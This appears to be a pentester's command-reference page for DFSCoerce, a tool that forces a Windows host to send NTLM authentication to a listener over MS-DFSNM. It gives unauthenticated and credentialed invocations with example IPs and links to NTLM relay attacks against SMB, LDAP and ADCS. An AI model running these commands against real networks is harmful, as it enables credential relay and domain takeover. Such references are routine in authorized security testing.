DFSCoerce

Coerce NTLM authentication using MS-DFSNM (Distributed File System)

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated April 10, 2026

Tool: python3
Category: Credential Attacks / NTLM Relay & Coercion
Platform: linux
Requires: no credentials
Protocols: RPC, NTLM

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

python3 dfscoerce.py <listener_ip> <target_ip>

Credential variants

The same attack using a different authentication material.

With Credentials requires password

python3 dfscoerce.py -d '<domain>' -u '<user>' -p '<password>' <listener_ip> <target_ip>

Examples

python3 dfscoerce.py 192.168.1.50 192.168.1.100

python3 dfscoerce.py -d 'corp.local' -u 'user' -p 'password' 192.168.1.50 192.168.1.100

Tags

dfscoerce coercion ntlm dfs relay

NTLM Relay to SMB NTLM relay attack targeting SMB service
NTLM Relay to LDAP Relay NTLM authentication to LDAP to configure RBCD delegation
NTLM Relay to ADCS Relay NTLM authentication to ADCS web enrollment to obtain a certificate
Certipy Relay to ADCS Relay NTLM authentication to ADCS web enrollment to obtain a certificate
Coercer Coerce NTLM authentication using multiple RPC protocols
Coercer Scan (Find Coercion Vectors) Probe a target for every known authentication-coercion RPC method (PetitPotam,…
NetExec coerce_plus Module Unified coercion module — replaces the individual…
NetExec Generate Relay Target List Scan a subnet over SMB and write a file containing every host with SMB signing disabled.…